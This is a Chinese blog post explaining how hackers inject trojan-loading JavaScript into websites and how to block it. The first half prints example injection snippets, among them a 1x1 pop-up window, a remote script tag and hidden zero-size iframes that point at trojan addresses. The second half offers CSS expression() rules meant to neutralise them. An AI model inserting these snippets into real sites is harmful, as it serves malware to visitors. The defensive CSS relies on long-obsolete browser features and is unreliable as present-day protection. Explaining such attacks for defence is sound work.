最近有朋友說自己的網站平時並未作弊,文章也都是原創的,更新很穩定。可不知道為什么網站突然就被各大搜索引擎降權了,一直找不到原因。最后發現是網站被掛馬了,導致網站被連累了。在此,借助馬海祥博客的平台,給大家簡單的介紹下js掛馬的方法及如何防止網站被掛馬。
一、常見JS掛馬方法
現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網頁中,當訪問者在瀏覽網頁時,惡意的掛馬腳本就會通過用戶的瀏覽器悄悄地打開網馬窗口,隱藏地運行。
這種方法使用的關鍵代碼如下:
window.open("http://www.mahaixiang.cn/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height”參數設為“0”,但是設置為0后,可能會出現惡意代碼不運行的情況。
另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網頁木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為后綴為.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者 的網站中寫入:
<script src="http://www.mahaixiang.cn/木馬腳本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地將木馬掛到了對方的網頁中了。
馬海祥博客提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫為:
<div >
或者:
<iframe src="vbscript:[掛馬腳本]">
二、如何防止網站被黑客掛馬?
防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當前主流的,所以我們主要針對它進行防御。方法就是阻止Src請求的異地外域的JS腳本,代碼如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁。
所以我們為安全工程師提供了一段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被 document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer后面的內容再不會被寫入訪 問者的電腦中,從而起到防范JS腳本掛馬的作用。
讓JS木馬的進程迅速中止
在 <head> </head> 之間加入如下代碼:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
/*]]>*/
</style>
單屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
如果有朋友發現自己的網站有被掛馬的現象,不妨用這種方法試下。由此可見,平時檢查代碼是維護網站的重要部分,而代碼的簡潔性又是至關重要的。對於如何優化網站代碼,有興趣的朋友可以試下:
CSS在線壓縮軟件
CSS代碼在線編輯器
本文為馬海祥博客原創文章,如想轉載,請注明原文網址摘自於http://www.mahaixiang.cn/js/134.html,注明出處;否則,禁止轉載;謝謝配合!